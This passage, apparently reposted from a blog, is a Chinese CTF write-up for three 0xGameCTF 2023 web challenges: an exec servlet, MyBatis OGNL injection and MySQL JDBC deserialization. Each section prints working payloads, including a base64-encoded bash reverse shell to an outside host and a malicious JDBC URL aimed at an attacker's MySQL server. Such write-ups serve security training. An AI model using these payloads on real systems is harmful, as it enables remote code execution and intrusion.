/* 13 */       Runtime.getRuntime().exec(cmd);
/* 14 */       resp.getWriter().write("success");
/* 15 */     } catch (Exception e) {
/* 16 */       resp.getWriter().write("error");
/*    */     } 
/*    */   }
/*    */ }

/* Location:              C:\Users\罗思远\Desktop\!\_WEB-INF_classes_com_example_demo_EvilServlet.class
 * Java compiler version: 8 (52.0)
 * JD-Core Version:       1.1.3
 */

分析一下,处理POST传参,请求参数为Evil_Cmd_Arguments_fe37627fed78,然后就是无回显RCE

我们访问刚刚得到的映射路由

/You_Find_This_Evil_Servlet_a76f02cb8422

,然后POST传参反弹shell
传入 Runtime.exec 的命令需要进行编码
在这里插入图片描述
payload

bash -c {echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC9mNTc4MTk2NzR6LmltZG8uY28vNTQ3ODkgMD4mMQ%3D%3D}|{base64,-d}|{bash,-i}

开启监听,反弹shell
在这里插入图片描述
得到flag
在这里插入图片描述

YourBatis

考点:MyBatis 低版本 OGNL 注入

得到的jar文件,丢到idea进行反编译
首先关注 pom.xml, 通过这个文件可以查看 jar 包使用的第三方库

<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.1.1</version>
</dependency>

存在 mybatis 依赖, 版本 2.1.1, 该版本存在 OGNL 表达式注入
IndexController.class

package com.example.yourbatis.controller;

import com.example.yourbatis.entity.User;
import com.example.yourbatis.mapper.UserMapper;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
    @Autowired
    private UserMapper userMapper;

    public IndexController() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "Hello World!";
    }

    @RequestMapping({"/user"})
    public String user(@RequestParam(value = "username",defaultValue = "") String username) {
        if (!username.isEmpty()) {
            User user = this.userMapper.getUserByUsername(username);
            return user.toString();
        } else {
            List<User> userList = this.userMapper.getUsers();
            return userList.toString();
        }
    }
}

给了两个路由,

/

路由返回

Hello World!

./user

路由接收参数username,如果不为空,则从数据库中根据用户名查询用户,并将结果赋值给 user 对象。

追踪到userMapper.class

package com.example.yourbatis.mapper;

import com.example.yourbatis.entity.User;
import com.example.yourbatis.provider.UserSqlProvider;
import java.util.List;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.SelectProvider;

@Mapper
public interface UserMapper {
    @SelectProvider(
        type = UserSqlProvider.class,
        method = "buildGetUsers"
    )
    List<User> getUsers();

    @SelectProvider(
        type = UserSqlProvider.class,
        method = "buildGetUserByUsername"
    )
    User getUserByUsername(String username);
}

可以看到是接口内定义了两个方法,我们要的是下面的
继续追踪到UserSqlProvider.class

package com.example.yourbatis.provider;

import org.apache.ibatis.jdbc.SQL;

public class UserSqlProvider {
    public UserSqlProvider() {
    }

    public String buildGetUsers() {
        return (new SQL() {
            {
                this.SELECT("*");
                this.FROM("users");
            }
        }).toString();
    }

    public String buildGetUserByUsername(final String username) {
        return (new SQL() {
            {
                this.SELECT("*");
                this.FROM("users");
                this.WHERE(String.format("username = '%s'", username));
            }
        }).toString();
    }
}

不难看出buildGetUserByUsername()方法是存在可控参数username的,可以实现SQL注入,进一步讲就是存在 OGNL 表达式注入。

大概执行过程如下

  1. 如果我们传入name的值为:${@java.lang.Math@min(4,10)}
  2. 那么会先进行OGNL表达式解析,即为4
  3. 解析完毕以后得到username的变量,传入SQL中
select * from users where username = '4';

回到题目,我们直接反弹shell

${@java.lang.Runtime@getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9mNTc4MTk2NzR6LmltZG8uY28vNTQ3ODkgMD4mMQ==}|{base64,-d}|{bash,-i}")}

但是很显然是会失败的, 因为传入的命令包含了

{

}

, 会被递归解析为另⼀个 OGNL 表达式的开头和结尾

解决方案是只要不出现大括号就行, 利用 OGNL 调用 Java 自身的 base64 decode 方法

${@java.lang.Runtime@getRuntime().exec(new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzltTlRjNE1UazJOelI2TG1sdFpHOHVZMjh2TlRRM09Ea2dNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9')))}

然后再url编码一下,上传

/user?username=$%[email protected]@getRuntime().exec(new%20java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzltTlRjNE1UazJOelI2TG1sdFpHOHVZMjh2TlRRM09Ea2dNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9')))%7D

成功反弹shell
在这里插入图片描述
在环境变量里,得到flag
在这里插入图片描述

TestConnection

考点:MySQL JDBC反序列化

打开题目,将jar反编译
先看pom.xml

        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>8.0.11</version>
            <scope>runtime</scope>
        </dependency>

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

        <dependency>
            <groupId>org.postgresql</groupId>
            <artifactId>postgresql</artifactId>
            <version>42.3.1</version>
            <scope>runtime</scope>
        </dependency>

给了两个依赖, mysql 和 postgresql, 对应两种利用方式
然后源码如下

package com.example.testconnection;

import java.sql.DriverManager;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "Hello World!";
    }

    @RequestMapping({"/testConnection"})
    public String testConnection(@RequestParam("driver") String driver, @RequestParam("url") String url, @RequestParam("username") String username, @RequestParam("password") String password) {
        try {
            Class.forName(driver);
            DriverManager.getConnection(url, username, password);
            return "success";
        } catch (Exception var6) {
            return var6.getMessage();
        }
    }
}

分析一下,给了

./testConnection

路由,接收四个请求参数,然后就是加载驱动driver,进行数据库连接,返回success。这里要先了解一下JDBC

JDBC

JDBC(Java DataBase Connectivity)是一种用于执行Sql语句的Java Api,即Java数据库连接,是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,可以为多种关系数据库提供统一访问,提供了诸如查询和更新数据库中数据的方法,是Java访问数据库的标准规范。简单理解为链接数据库、对数据库操作都需要通过jdbc来实现

  • JDBC URL 就是用于连接数据库的字符串, 格式为jdbc:db-type://host:port/db-name?param=value
  • db-type 就是数据库类型, 例如 postgresql, mysql, mssql, oracle, sqlite
  • db-name 是要使用的数据库名
  • param 是要传入的参数, 比如 user, password, 指定连接时使用的编码类型等等

当 jdbc url 可控时, 如果目标网站使用了旧版的数据库驱动, 在特定情况下就可以实现 RCE

我们可以利用 mysql 驱动,已知版本为8.0.11
结合网上文章可以构造对应的 jdbc url

jdbc:mysql://124.71.184.68:50044/test?
autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffI
nterceptor

首先得注意, 因为题目给的代码是

DriverManager.getConnection(url, username, password);

, 即会单独传
入⼀个 username 参数, 因此 url 中的 username 会被后面的 username 给覆盖

其次, 因为 jdbc url 本身也符合 url 的规范, 所以在传 url 参数的时候, 需要把 url 本身全部进行 url 编码, 防止服务
器错把 autoDeserialize, queryInterceptors 这些参数当成是⼀个 http get 参数, 而不是 jdbc url 里面的参数

最后依然是 Runtime.exec 命令编码的问题

/testConnection?
driver=com.mysql.cj.jdbc.Driver&url=jdbc:mysql://124.71.184.68:50044/testConnection?
autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffI
nterceptor&username=deser_CC31_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9mNTc4MTk2NzR6LmltZG8uY28vNTQ3ODkgMD4mMQ==}|{base64,-d}|{bash,-i}&password=123

url编码一下

/testConnection?driver=com.mysql.cj.jdbc.Driver&url=jdbc%3Amysql%3A%2F%2F124%2E71%2E184%2E68%3A50044%2Ftest%3FautoDeserialize%3Dtrue%26queryInterceptors%3Dcom%2Emysql%2Ecj%2Ejdbc%2Einterceptors%2EServerStatusDiffInterceptor&username=deser%5FCC31%5Fbash%20%2Dc%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC9mNTc4MTk2NzR6LmltZG8uY28vNTQ3ODkgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C%2Dd%7D%7C%7Bbash%2C%2Di%7D&password=123
标签: 前端 web安全 php

本文转载自: https://blog.csdn.net/m0_73512445/article/details/133778143
版权归原作者 _rev1ve 所有, 如有侵权,请联系我们删除。

“[0xGameCTF 2023] web题解”的评论:

还没有评论